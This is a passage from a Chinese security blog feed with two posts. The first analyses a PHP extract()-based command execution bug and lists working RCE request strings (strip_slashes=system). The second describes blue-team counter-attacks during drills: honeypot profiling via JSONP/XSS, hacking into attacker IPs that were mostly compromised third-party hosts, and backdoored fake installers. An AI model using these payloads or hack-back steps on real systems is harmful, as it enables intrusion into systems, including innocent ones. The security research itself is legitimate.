\"&lt;\/pre&gt;\";\n};\n<\/code><\/pre>\n\n<p>\u53d8\u91cf\u533f\u540d\u51fd\u6570 <strong>$show_form<\/strong> \u5177\u6709\u4e00\u4e2a\u5f62\u5f0f\u53c2\u6570 <strong>$params<\/strong> \u5728\u8fd9\u91cc\u4e5f\u5c31\u662f<code>array(\"strip_slashes\"=&gt;\"system\",\"host\"=&gt;\"id\");<\/code><\/p>\n\n<p>\u63a5\u4e0b\u6765\u6267\u884c<strong>extract($params);<\/strong>\uff0c\u540e\u8fdb\u5165\u5982\u4e0b\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-php\">$host  = isset($host)  ? $strip_slashes($host)  : \"127.0.0.1\";\n<\/code><\/pre>\n\n<p>\u5728\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\u5c31\u4ea7\u751f\u4e86\u6f0f\u6d1e\uff0c\u60f3\u8981\u4e86\u89e3\u5177\u4f53\u539f\u56e0\uff0c\u6211\u4eec\u9700\u8981\u4e86\u89e3<strong>extract<\/strong>\u51fd\u6570\u7684\u4f5c\u7528\uff0c\u8be5\u51fd\u6570\u662f\u6839\u636e\u6570\u7ec4\u7684<code>key=&gt;value<\/code>\u521b\u5efa\u53d8\u91cf<code>$key=value<\/code>\uff08\u5b98\u65b9\u89e3\u91ca\uff1a<strong>extract \u2014 Import variables into the current symbol table from an array<\/strong>\uff09<\/p>\n\n<p>\u77e5\u9053\u5176\u51fd\u6570\u4f5c\u7528\u4e4b\u540e\uff0c\u6211\u4eec\u5c31\u5927\u81f4\u660e\u767d\u6f0f\u6d1e\u539f\u56e0\u4e86\u3002<\/p>\n\n<p>\u9996\u5148\u51fd\u6570\u4f20\u5165\u53c2\u6570\u503c\u4e3a<code>array(\"strip_slashes\"=&gt;\"system\",\"host\"=&gt;\"id\");<\/code><\/p>\n\n<p>\u7ecf\u8fc7<strong>extract()<\/strong>\u51fd\u6570\u540e\uff0c\u8d4b\u503c\u4e862\u4e2a\u53d8\u91cf\uff1a<\/p>\n\n<pre><code class=\"language-php\">$strip_slashes = 'system';\n$host = 'id';\n<\/code><\/pre>\n\n<p>\u5728\u7b2c91\u884c\u4ee3\u7801\uff0c\u53d8\u91cf<strong>$host<\/strong>\u5229\u7528\u4e09\u5143\u8fd0\u7b97\u91cd\u65b0\u8d4b\u503c<strong>$strip_slashes($host)<\/strong><\/p>\n\n<p>\u800c\u5b9e\u9645\u4e0a\u5176\u8d4b\u503c\u5185\u5bb9\u662f\u51fd\u6570<code>system('id')<\/code>\u7684\u8fd4\u56de\u7ed3\u679c\uff0c\u8fd9\u4e5f\u5c31\u9020\u6210\u4e86\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n\n<h2 id=\"\u540c\u7c7b\u6f0f\u6d1e\u5bfb\u627e\">\u540c\u7c7b\u6f0f\u6d1e\u5bfb\u627e<\/h2>\n\n<p>\u9996\u5148\u5728\u5168\u5c40\u6587\u4ef6\u4e2d\u641c\u7d22<code>$_GET\u3001$_POST\u3001$_REQUEST<\/code>\u548c<code>extract(<\/code>\uff0c\u5176\u6b21\u5728\u8fd9\u4e9b\u6587\u4ef6\u4e2d\u4f7f\u7528\u6b63\u5219\u5bfb\u627e\u53d8\u91cf\u51fd\u6570\u4f20\u9012\u53d8\u91cf\uff1a<code>\\$[a-zA-Z0-9_]*\\(\\$[a-zA-Z0-9_]*\\)<\/code><\/p>\n\n<p>Linux grep\u5bfb\u627e\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">grep -E \"\\$_GET|\\$_POST|\\$_REQUEST\" . -r --include \\*.php -v | grep \"extract(\" -v | grep -E \"\\\\\\$[a-zA-Z0-9_]*\\(\\\\\\$[a-zA-Z0-9_]*\\)\"\n<\/code><\/pre>\n\n<p>\u7b80\u5355\u5206\u6790\u83b7\u5f97\u4e86\u53e6\u5916\u4e09\u5904RCE\uff1a<\/p>\n\n<pre><code>\/tool\/php_cli.php?strip_slashes=system&amp;code=id\n\/tool\/ldb_cli.php?strip_slashes=system&amp;json=id\n\/tool\/mdd_sql.php?strip_slashes=system&amp;root=id\n<\/code><\/pre>\n\n<p>\u4f46\u65e0\u6cd5\u771f\u6b63\u5229\u7528\uff0c\u4e09\u5904\u6587\u4ef6\u5f00\u5934\u90fd\u6709\u4e00\u4e2a\u7c7b\u4f3c\u6587\u4ef6\u5b58\u6d3b\u7684\u5224\u65ad\uff0c\u4e0d\u5b58\u5728\u4ee3\u7801\u5219<strong>die<\/strong>\u9000\u51fa\uff0c\u800c\u9ed8\u8ba4\u73af\u5883\u4e0a\u662f\u5b58\u5728\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15977415061102.jpg\" alt=\"-w568\" \/><\/p>\n\n<h2 id=\"\u6700\u540e\">\u6700\u540e<\/h2>\n\n<p>\u8be5\u5957\u7a0b\u5e8f\u8fd8\u6709\u8bf8\u591a\u6f0f\u6d1e\u672a\u88ab\u62ab\u9732\u51fa\u6765\uff0c\u5efa\u8bae\u91c7\u7528ACL\u63a7\u5236\u8bbf\u95ee\u6216\u4e0b\u7ebf\u8be5\u4e1a\u52a1\uff0c\u7b49\u5f85\u5b98\u65b9\u5347\u7ea7\u8865\u4e01\u3002<\/p>\n","pubDate":"2020-09-03T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-09-03\/2","guid":"https:\/\/gh0st.cn\/archives\/2020-09-03\/2"},{"title":"\u6d45\u8c08\u84dd\u961f\u53cd\u5236\u624b\u6bb5","description":"<h1 id=\"\u6d45\u8c08\u84dd\u961f\u53cd\u5236\u624b\u6bb5\">\u6d45\u8c08\u84dd\u961f\u53cd\u5236\u624b\u6bb5<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u7f51\u7edc\u5b89\u5168\u653b\u9632\u6f14\u4e60\u5728\u56fd\u5185\u5df2\u7ecf\u9010\u6e10\u5e38\u6001\u5316\uff0c\u4ece\u884c\u4e1a\u3001\u533a\u57df\uff08\u7701\u4efd\u3001\u5730\u5e02\uff09\u5230\u90e8\u7ea7\u2026<\/p>\n\n<p>2020\u5e741\u6708\u4efd\u5f00\u59cb\u5230\u73b0\u5728\u53ef\u4ee5\u8bf4\u57fa\u672c\u4e0a\u6bcf\u4e2a\u6708\u90fd\u67091-3\u573aHW\uff0c\u7ea2\u4e0e\u84dd\u7684\u5bf9\u6297\u4ece\u672a\u505c\u606f\u3002<\/p>\n\n<p>\u7ea2\u961f\u7684\u653b\u51fb\u6280\u5de7\u53ef\u4ee5\u65e0\u7a77\u65e0\u5c3d\uff08\u626b\u63cf\u5668\u3001\u793e\u5de5\u30010day\u3001\u8fd1\u6e90\u2026\uff09\uff0c\u4f46\u662f\u5bf9\u4e8e\u84dd\u961f\u9632\u5b88\u6765\u8bf4\u9664\u4e86\u6f14\u4e60\u4e2d\u5e38\u89c4\u7684\u5c01IP\u3001\u4e0b\u7ebf\u4e1a\u52a1\u3001\u770b\u65e5\u5fd7\u5206\u6790\u6d41\u91cf\u7b49\u201c\u7eaf\u9632\u5b88\u201d\u64cd\u4f5c\u4ee5\u5916\uff0c\u4f3c\u4e4e\u5b9e\u5728\u662f\u6ca1\u6709\u4ec0\u4e48\u5176\u4ed6\u7684\u9632\u5fa1\u624b\u6bb5\u4e86\u3002<\/p>\n\n<p>\u7b14\u8005\u5728\u53c2\u4e0e\u7684\u51e0\u573a\u653b\u9632\u6f14\u4e60\u9879\u76ee\u4e2d\u62c5\u4efb\u201c\u84dd\u961f\u9632\u5b88\u201d\u89d2\u8272\uff0c\u5c31\u53d1\u73b0\u4e86\u8fd9\u4e00\u7f3a\u9677\uff0c\u4f3c\u4e4e\u5b89\u5168\u9632\u5fa1\u57fa\u7840\u8f83\u5f31\u7684\u5382\u5546\u518d\u600e\u4e48\u5145\u8db3\u7684\u8fdb\u884c\u6f14\u4e60\u524d\u51c6\u5907\uff0c\u90fd\u53ea\u6709\u4e56\u4e56\u7684\u7b49\u5f85\u88ab\u201c\u6536\u5272\u201d\u3002<\/p>\n\n<p>\u8f6c\u6362\u4e00\u4e2a\u601d\u7ef4\uff0c\u5316\u88ab\u52a8\u4e3a\u4e3b\u52a8\uff0c\u5c1d\u8bd5\u7528\u201c\u653b\u51fb\u201d\u601d\u8def\u4ee3\u5165\u201c\u9632\u5b88\u201d\u4e2d\uff0c\u5bf9\u201c\u7ea2\u961f\u201d\u8fdb\u884c\u53cd\u5411\u6355\u83b7\uff08\u53cd\u5236\uff09\u3002<\/p>\n\n<p>\u672c\u6587\u5c06\u603b\u7ed3\u6848\u4f8b\u548c\u201c\u53cd\u5236\u201d\u624b\u6bb5\uff0c\u6587\u4e2d\u4e0d\u8db3\u4e4b\u5904\u8fd8\u671b\u5404\u4f4d\u65a7\u6b63\u3002<\/p>\n\n<h2 id=\"\u53cd\u5236\u624b\u6bb5\">\u53cd\u5236\u624b\u6bb5<\/h2>\n\n<h3 id=\"\u871c\u7f50\u7bc7\">\u871c\u7f50\u7bc7<\/h3>\n\n<h4 id=\"\u871c\u7f50\u8bbe\u5907\">\u871c\u7f50\u8bbe\u5907<\/h4>\n\n<p>\u5927\u90e8\u5206\u5382\u5546\u4e3a\u4e86\u4e89\u53d6\u5f97\u5230\u4e00\u4e9b\u5206\u6570\uff0c\u90fd\u4f1a\u91c7\u8d2d\/\u501f\u7528\u4e00\u4e9b\u5382\u5546\u7684\u871c\u7f50\u8bbe\u5907\uff0c\u4f46\u871c\u7f50\u4e5f\u5206\u4e24\u7c7b\uff1a\u4f20\u7edf\u3001\u73b0\u4ee3\uff0c\u4e24\u8005\u4ece\u672c\u8d28\u4e0a\u8fd8\u662f\u6709\u4e00\u5b9a\u533a\u522b\u7684\uff0c\u8fd9\u91cc\u6211\u7b80\u5355\u8bf4\u4e00\u4e0b\u81ea\u5df1\u7684\u7406\u89e3\u3002<\/p>\n\n<p><strong>\u4f20\u7edf\u871c\u7f50\uff1a<\/strong>\u871c\u7f50\u6280\u672f\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u5bf9\u653b\u51fb\u65b9\u8fdb\u884c\u6b3a\u9a97\u7684\u6280\u672f\uff0c\u901a\u8fc7\u5e03\u7f6e\u4e00\u4e9b\u4f5c\u4e3a\u8bf1\u9975\u7684\u4e3b\u673a\u3001\u7f51\u7edc\u670d\u52a1\u6216\u8005\u4fe1\u606f\uff0c\u8bf1\u4f7f\u653b\u51fb\u65b9\u5bf9\u5b83\u4eec\u5b9e\u65bd\u653b\u51fb\uff0c\u4ece\u800c\u53ef\u4ee5\u5bf9\u653b\u51fb\u884c\u4e3a\u8fdb\u884c\u6355\u83b7\u548c\u5206\u6790\uff0c\u4e86\u89e3\u653b\u51fb\u65b9\u6240\u4f7f\u7528\u7684\u5de5\u5177\u4e0e\u65b9\u6cd5\uff0c\u63a8\u6d4b\u653b\u51fb\u610f\u56fe\u548c\u52a8\u673a\uff0c\u80fd\u591f\u8ba9\u9632\u5fa1\u65b9\u6e05\u6670\u5730\u4e86\u89e3\u4ed6\u4eec\u6240\u9762\u5bf9\u7684\u5b89\u5168\u5a01\u80c1\uff0c\u5e76\u901a\u8fc7\u6280\u672f\u548c\u7ba1\u7406\u624b\u6bb5\u6765\u589e\u5f3a\u5b9e\u9645\u7cfb\u7edf\u7684\u9632\u5fa1\u80fd\u529b\u3002<\/p>\n\n<p><strong>\u73b0\u4ee3\u871c\u7f50\uff1a<\/strong>\u9664\u4e86\u6355\u83b7\u5206\u6790\u653b\u51fb\u884c\u4e3a\u5916\uff0c\u5404\u7c7b\u5b89\u5168\u5382\u5546\u5728\u871c\u7f50\u4ea7\u54c1\u4e2d\u52a0\u5165\u4e86\u201c\u653b\u51fb\u8005\u753b\u50cf\u201d\u8fd9\u4e00\u529f\u80fd\u4f5c\u4e3a\u201c\u5356\u70b9\u201d\uff0c\u800c\u672c\u8d28\u4e0a\u653b\u51fb\u8005\u753b\u50cf\u662f\u5c06\u7b2c\u4e09\u65b9\u5382\u5546\u6f0f\u6d1e\u8f6c\u4e3a\u753b\u50cf\u63a2\u9488\uff0c\u5229\u7528\u7b2c\u4e09\u65b9\u5382\u5546\u6f0f\u6d1e\u83b7\u53d6\u653b\u51fb\u8005\u6240\u5728\u6b64\u7c7b\u5382\u5546\u7f51\u7ad9\u4e1a\u52a1\u4e0a\u7684\u4e2a\u4eba\u4fe1\u606f\uff0c\u6b64\u7c7b\u6f0f\u6d1e\u591a\u534a\u4e3a\u524d\u7aef\u7c7b\u6f0f\u6d1e\uff0c\u4f8b\u5982\uff1aJSONP\u3001XSS\u2026\u9664\u6b64\u4e4b\u5916\u8fd8\u6709\u7f51\u7ad9\u4f2a\u9020\u3001\u81ea\u52a8\u6295\u653e\u871c\u6807\u7b49\u7b49\u4f17\u591a\u4e30\u5bcc\u7684\u529f\u80fd\u3002<\/p>\n\n<p>\u6240\u4ee5\u4f20\u7edf\u871c\u7f50\u5382\u5546\u5728\u8fd9\u4e00\u5757\u7684\u88ab\u201c\u9700\u8981\u201d\u4e0d\u5927\uff0c\u800c\u73b0\u4ee3\u871c\u7f50\u5382\u5546\u5728\u8fd9\u4e00\u5757\u5f80\u5f80\u6709\u9700\u8981\u6027\u5f88\u591a\uff0c\u5c31\u51b2\u201c\u653b\u51fb\u8005\u753b\u50cf\u201d\u8fd9\u4e00\u65b9\u9762\u5728\u6f14\u4e60\u8fc7\u7a0b\u4e2d\u5c31\u53ef\u4ee5\u4e3a\u9632\u5b88\u65b9\u52a0\u5206\u3002<\/p>\n\n<h4 id=\"\u871c\u7f50\u7684\u53cd\u5236\">\u871c\u7f50\u7684\u53cd\u5236<\/h4>\n\n<p>\u73b0\u4ee3\u5316\u871c\u7f50\u90fd\u505a\u4e86\u54ea\u4e9b\u53cd\u5236\u7684\u64cd\u4f5c\u5462\uff1f<\/p>\n\n<ol>\n  <li>\u53ef\u514b\u9686\u76f8\u5173\u7cfb\u7edf\u9875\u9762\uff0c\u4f2a\u88c5\u201c\u6f0f\u6d1e\u201d\u7cfb\u7edf<\/li>\n  <li>\u4e92\u8054\u7f51\u7aef\u6295\u9975\uff0c\u4e00\u822c\u4f1a\u5728Github\u3001Gitee\u3001Coding\u4e0a\u6295\u653e\u871c\u6807\uff08\u6709\u53ef\u80fd\u662f\u4e2a\u5355\u72ec\u7684\u7f51\u7ad9\u5730\u5740\u3001\u4e5f\u6709\u53ef\u80fd\u662f\u4e2a\u5bc6\u7801\u672c\u5f15\u8bf1\u4e2d\u62db\uff09<\/li>\n  <li>\u5229\u7528JSONP\u3001XSS\u3001CSRF\u7b49\u524d\u7aef\u7c7b\u6f0f\u6d1e\u83b7\u53d6\u8bbf\u95ee\u871c\u6807\u7684\u653b\u51fb\u8005\u7f51\u7edc\u8eab\u4efd\uff08\u7f51\u7edc\u753b\u50cf\uff09<\/li>\n<\/ol>\n\n<p>\u8fd9\u6837\u5176\u5b9e\u4e00\u6761\u6355\u83b7\u94fe\u5c31\u51fa\u73b0\u4e86\uff08\u4ec5\u4ec5\u662f\u4e3e\u4f8b\uff0c\u5176\u5b9e\u66f4\u591a\u7684\u662f\u5bf9\u65b9\u5728\u505a\u4fe1\u606f\u6536\u96c6\u7684\u65f6\u5019\u63a2\u6d4b\u5230\u4e86\u6b64\u7aef\u53e3\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15972454820428.jpg\" alt=\"-w645\" \/><\/p>\n\n<p>\u871c\u7f50\u7684\u4e00\u4e9b\u529f\u80fd\u7ec6\u8282\u4e0d\u8fc7\u591a\u8d58\u8ff0\uff0c\u6bd4\u5982\u5229\u7528JavaScript\u8fa8\u522b\u4eba\u673a\u3001Cookie\u4e2d\u79cd\u5165ID\u9632\u6b62\u5207\u6362IP\u4e4b\u7c7b\u7684\u2026\u5982\u6709\u5174\u8da3\u60f3\u6df1\u5165\u4e86\u89e3\u7684\u670b\u53cb\u53ef\u4ee5\u53bb\u76f8\u5173\u5382\u5546\u5b98\u7f51\u4e0b\u8f7d\u767d\u76ae\u4e66\u89c2\u770b\u3002<\/p>\n\n<p>\u6ce8\uff1a\u5728\u5b9e\u6218\u6f14\u4e60\u8fc7\u7a0b\u4e2d\uff0c\u4ecd\u7136\u6709\u8bb8\u591a\u653b\u51fb\u8005\u4e2d\u62db\uff0c\u871c\u7f50\u4f1a\u5b58\u50a8\u8eab\u4efd\u6570\u636e\uff0c\u5e76\u4e14\u4f1a\u56de\u4f20\u81f3\u5382\u5546\u8fdb\u884c\u5b58\u50a8\u3002<\/p>\n\n<h3 id=\"\u573a\u666f\u7bc7\">\u573a\u666f\u7bc7<\/h3>\n\n<h4 id=\"\u4e3b\u52a8\u653b\u51fb\u653b\u51fbip\">\u4e3b\u52a8\u653b\u51fb\u201c\u653b\u51fbIP\u201d<\/h4>\n\n<p>\u9632\u5b88\u65e5\u5e38\u5c31\u662f\u770b\u6d41\u91cf\u3001\u5206\u6790\u6d41\u91cf\uff0c\u5176\u4e2d\u5927\u90e8\u5206\u90fd\u4e3a\u626b\u63cf\u5668\u6d41\u91cf\uff0c\u7531\u4e8e\u4e00\u822c\u626b\u63cf\u5668\u90fd\u4f1a\u90e8\u7f72\u5728VPS\u4e0a\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u7ed3\u5408<strong>\u6d41\u91cf\u76d1\u6d4b\u5e73\u53f0<\/strong>\u53cd\u5411\u626b\u63cf\u3002<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15972858540088.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5bfc\u51fa\u6f14\u4e60\u671f\u95f4\u653b\u51fbIP\u5217\u8868\uff0c\u5bf9IP\u8fdb\u884c\u7aef\u53e3\u626b\u63cf\uff0c\u4eceWeb\u6253\u5165\u653b\u51fbIP\u673a\u5668\u5185\u90e8\u3002<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15972858900640.jpg\" alt=\"\" \/><\/p>\n\n<p>\u53d1\u73b0\u4e86\u4e00\u5806\u653b\u51fbIP\u673a\u5668\u4e0aWeb\u670d\u52a1\u7684\u6f0f\u6d1e\uff1aSQL\u6ce8\u5165\u3001\u5f31\u53e3\u4ee4\u2026\u62ff\u4e0b\u4e86\u4e00\u5806\u673a\u5668\uff0c\u4e5f\u53d1\u73b0\u4e86\u5927\u90e8\u5206\u90fd\u662f\u201c\u88ab\u63a7\u4e3b\u673a\u201d\uff0c\u800c\u975e\u8d2d\u4e70\u7684VPS\uff0c\u4e0a\u9762\u4e5f\u5927\u591a\u662f\u4e00\u4e9b\u6b63\u5e38\u4e1a\u52a1\u3001\u975e\u6cd5\u4e1a\u52a1\u5728\u8fd0\u8f6c\u3002<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15972860516961.jpg\" alt=\"\" \/><\/p>\n\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u5bf9\u6240\u62ff\u4e0b\u7684\u4e3b\u673a\u8fdb\u884c\u4fe1\u606f\u6536\u96c6\uff0c\u53d1\u73b0\u4e86\u4e00\u4e2a\u6709\u610f\u601d\u7684\u70b9\uff0c\u5927\u90e8\u5206\u673a\u5668\u4e3aWAMP\uff08Windows + Apache + Mysql + PHP\uff09\uff0c\u800c\u6839\u76ee\u5f55\u90fd\u5b58\u5728\u7740\u4e00\u4e2a\u6587\u4ef6<code>images.php<\/code>\u3002<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15972862041058.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u662f\u4e00\u4e2aPHP\u811a\u672c\u540e\u95e8\uff0c\u6211\u4eec\u901a\u8fc7\u5206\u6790\u8be5PHP\u6587\u4ef6\u53c8\u62ff\u4e0b\u6570\u5341\u53f0\u673a\u5668\uff0c\u5bf9\u6bcf\u53f0\u673a\u5668\u8fdb\u884c\u65e5\u5fd7\u6536\u96c6\uff0c\u5206\u6790IP\u5173\u8054\u6027\u2026\u6574\u7406\u62a5\u544a\u4e0a\u4ea4\u88c1\u5224\u7ec4\u5224\u5b9a\u3002<\/p>\n\n<h4 id=\"\u90ae\u4ef6\u9493\u9c7c\u53cd\u5236\">\u90ae\u4ef6\u9493\u9c7c\u53cd\u5236<\/h4>\n\n<p>\u5b89\u5168\u9632\u62a4\u57fa\u7840\u8f83\u597d\u7684\u5382\u5546\uff0c\u4e00\u822c\u6765\u8bf4\u9664\u4e86\u51fa\u52a80day\uff0c\u7269\u7406\u8fd1\u6e90\u6e17\u900f\u4ee5\u5916\uff0c\u6700\u5e38\u89c1\u7684\u5c31\u662f\u90ae\u4ef6\u9493\u9c7c\u4e86\uff0c\u5728\u5382\u5546\u6536\u5230\u90ae\u4ef6\u9493\u9c7c\u7684\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u4ee5\u91c7\u53d6\u5316\u88ab\u52a8\u4e3a\u4e3b\u52a8\u7684\u65b9\u5f0f\uff0c\u5047\u88c5\u54ac\u94a9\uff0c\u5b9e\u9645\u4e0a\u8bf1\u5bfc\u653b\u51fb\u8005\u8fdb\u5165\u871c\u7f51\u3002<\/p>\n\n<pre><code>\u5317\u4eac\u65f6\u95f4 2019 \u5e74 5 \u6708 15 \u65e5\u5fae\u8f6f\u53d1\u5e03\u5b89\u5168\u8865\u4e01\u4fee\u590d\u4e86 CVE \u7f16\u53f7\u4e3a CVE-2019-0708 \u7684 Windows \u8fdc\u7a0b\u684c\u9762\u670d\u52a1(RDP)\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5728\u4e0d\u9700\u8eab\u4efd\u8ba4\u8bc1\u7684\u60c5\u51b5\u4e0b\u5373\u53ef\u8fdc\u7a0b\u89e6\u53d1\uff0c\u5371\u5bb3\u4e0e\u5f71\u54cd\u9762\u6781\u5927\u3002\n\n\u53d7\u5f71\u54cd\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\uff1a\n\n| Windows 7\n| Windows Server 2008 R2\n| Windows Server 2008\n| Windows Server 2003\n| Windows XP\n\n\u7531\u4e8e\u8be5\u6f0f\u6d1e\u4e0e\u53bb\u5e74\u7684\u201cWannacry\u201d\u52d2\u7d22\u75c5\u6bd2\u5177\u6709\u76f8\u540c\u7b49\u7ea7\u7684\u5371\u5bb3\uff0c\u7531\u603b\u884c\u4fe1\u606f\u79d1\u6280\u90e8\u7814\u7a76\u51b3\u5b9a\uff0c\u5148\u63a8\u884c\u7d27\u6025\u6f0f\u6d1e\u52a0\u56fa\u8865\u4e01\uff0c\u786e\u4fdd\u4e1a\u52a1\u7f51\u3001\u529e\u516c\u7f51\u5168\u90e8\u4fee\u8865\u6f0f\u6d1e\uff0c\u8be6\u60c5\u8bf7\u9605\u8bfb\u52a0\u56fa\u624b\u518c\u3002\n\n\u52a0\u56fa\u8865\u4e01\u7a0b\u5e8f\u89e3\u538b\u5bc6\u7801\uff1axxxx\n\nxx\u4fe1\u606f\u79d1\u6280\u90e8\nxxxxx\nxxx\u5e74xx\u6708xx\u65e5\n<\/code><\/pre>\n\n<p>\u5728\u67d0\u6b21\u6f14\u4e60\u671f\u95f4\uff0c\u6211\u4eec\u9632\u5b88\u7684\u5ba2\u6237\u5355\u4f4d\u5c31\u6536\u5230\u4e86\u9493\u9c7c\u90ae\u4ef6\uff0c\u5e86\u5e78\u7684\u662f\u5ba2\u6237\u603b\u4f53\u5b89\u5168\u610f\u8bc6\u5f88\u5f3a\uff0c\u52a0\u4e0a\u6709\u90ae\u4ef6\u6c99\u7bb1\u7684\u52a0\u6301\uff0c\u5e76\u6ca1\u6709\u5b9e\u9645\u4eba\u5458\u4e2d\u62db\uff0c\u800c\u6211\u4eec\u5c06\u8ba1\u5c31\u8ba1\uff0c\u90e8\u7f72\u4e00\u5957\u865a\u5047\u7684\u5185\u7f51\u73af\u5883\uff0c\u4f2a\u9020\u9493\u9c7c\u90ae\u4ef6\u4e2d\u62db\u5047\u8c61\uff0c\u4e2d\u62db\u4eba\u5458\u753b\u50cf\u548c\u673a\u5668\u73af\u5883\u7f16\u6392\uff1a<\/p>\n\n<p><strong>\u540d\u5b57\uff1a<\/strong>\u8bb8\u664b \uff08jinxu\uff09<\/p>\n\n<p><strong>\u8eab\u4efd\uff1a<\/strong>\u5de1\u68c0\u804c\u5458<\/p>\n\n<p><strong>\u5e73\u65f6\u4e0a\u673a\u5185\u5bb9\uff1a<\/strong>\u770b\u89c6\u9891\u3001\u6253\u6e38\u620f\u3001\u5de1\u68c0<\/p>\n\n<p><strong>\u7cfb\u7edf\u8f6f\u4ef6\uff1a<\/strong>Office\u4e09\u4ef6\u5957, \u641c\u72d7\u8f93\u5165\u6cd5, QQ, \u5fae\u4fe1, Xmind, \u8c37\u6b4c\u6d4f\u89c8\u5668, Winrar, \u8fc5\u96f7, \u767e\u5ea6\u7f51\u76d8, Everything, \u7231\u5947\u827a, \u817e\u8baf\u89c6\u9891, QQ\u97f3\u4e50, \u7f51\u6613\u4e91\u97f3\u4e50, FastStone Capture\u2026.<\/p>\n\n<p><strong>\u7cfb\u7edf\u73af\u5883\uff1a<\/strong>\u9664\u4e86\u90e8\u7f72\u4e00\u4e9b\u5e38\u89c1\u7684\u7cfb\u7edf\u8f6f\u4ef6\uff0c\u6211\u4eec\u8fd8\u8981\u521b\u5efa\u4e00\u7cfb\u5217\u5de5\u4f5c\u6587\u6863\uff08\u624b\u5de5\u4f2a\u9020\u3001\u7531\u5ba2\u6237\u63d0\u4f9b\u975e\u654f\u611f\u516c\u5f00\u6570\u2026\uff09\uff0c\u5e76\u5728\u4f17\u591a\u7684\u5de5\u4f5c\u6587\u6863\u4e2d\u643a\u5e26\u4e86\u6211\u4eec\u90e8\u7f72\u7684\u514d\u6740\u540e\u95e8\uff08\u4f2a\u88c5\u6210VPN\u5b89\u88c5\u5305\u6216\u529e\u516c\u8f6f\u4ef6\uff09\u3002<\/p>\n\n<p><strong>\u76ee\u7684\uff1a<\/strong>\u70b9\u5f00\u9493\u9c7c\u90ae\u4ef6\u7684\u9644\u4ef6\uff0c\u5047\u88c5\u4e2d\u62db\u540e\uff0c\u8ba9\u653b\u51fb\u8005\u5728\u7ffb\u5f53\u524dPC\u673a\u5668\u7684\u65f6\u5019\u5bfb\u627e\u5230\u6211\u4eec\u6295\u4e0b\u7684\u5047\u5bc6\u7801\u672c\uff0c\u5e76\u7ed3\u5408VPN\u5b89\u88c5\u5305\uff0c\u4f7f\u5f97\u653b\u51fb\u8005\u4e0b\u8f7dVPN\u5b89\u88c5\u5305\u5e76\u8fdb\u884c\u5b89\u88c5\uff0c\u4ece\u800c\u8fdb\u884c\u53cd\u5411\u63a7\u5236\u3002<\/p>\n\n<p>\u5176\u4e2d\u5177\u4f53\u7ec6\u8282\u4e0d\u8fc7\u591a\u8d58\u8ff0\uff0c\u5957\u8def\u90fd\u4e00\u6837\uff0c\u5728\u591a\u6b21\u6f14\u4e60\u4e2d\u90fd\u6210\u529f\u7684\u53cd\u5236\u5230\u4e86\u653b\u51fb\u961f\u7684VPS\uff0c\u751a\u81f3\u5728\u6f14\u4e60\u4e2d\u6211\u4eec\u62ff\u4e0b\u4e86\u653b\u51fb\u961f\u7684\u7ec8\u7aefPC\u2026<\/p>\n\n<h4 id=\"\u76f2\u6253\u653b\u51fb\u53cd\u5236\">\u76f2\u6253\u653b\u51fb\u53cd\u5236<\/h4>\n\n<p>\u76f2\u6253\u653b\u51fb\u7b97\u662f\u5728\u6f14\u4e60\u4e2d\u6bd4\u8f83\u4e0d\u5e38\u89c1\u7684\u4e86\uff0c\u56e0\u4e3a\u5176\u6548\u7387\u4e0d\u9ad8\uff0c\u6ca1\u529e\u6cd5\u76f4\u63a5\u7684\u76f4\u63a7\u6743\u9650\uff0c\u4f46\u5728\u653b\u51fb\u65b9\u7a77\u9014\u672b\u8def\u7684\u65f6\u5019\u5f80\u5f80\u4e5f\u4f1a\u9009\u62e9\u4f7f\u7528\u76f2\u6253\u6f0f\u6d1e\u7684\u65b9\u5f0f\u6765\u83b7\u53d6\u6743\u9650\u8fdb\u800c\u6df1\u5165\uff0c\u6bd4\u8f83\u5e38\u89c1\u7684\u5c31\u5c5e\u4e8e\u76f2\u6253XSS\u4e86\u3002<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15974215989685.jpg\" alt=\"\" \/><\/p>\n\n<p>\u4e00\u822c\u76f2\u6253XSS\u90fd\u5177\u5907\u4e00\u4e2a\u6570\u636e\u56de\u4f20\u63a5\u53e3\uff08\u653b\u51fb\u8005\u9700\u8981\u63a5\u6536Cookie\u4e4b\u7c7b\u7684\u6570\u636e\uff09\uff0c\u63a5\u53e3\u5728JavaScript\u4ee3\u7801\u4e2d\u662f\u53ef\u4ee5\u5bfb\u627e\u5230\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u6570\u636e\u56de\u4f20\u63a5\u53e3\u505a2\u4ef6\u4e8b\u60c5\uff1a<\/p>\n\n<ol>\n  <li>\u6253\u810f\u6570\u636e\u56de\u4f20\u7ed9XSS\u5e73\u53f0\uff08\u6363\u4e71\uff09<\/li>\n  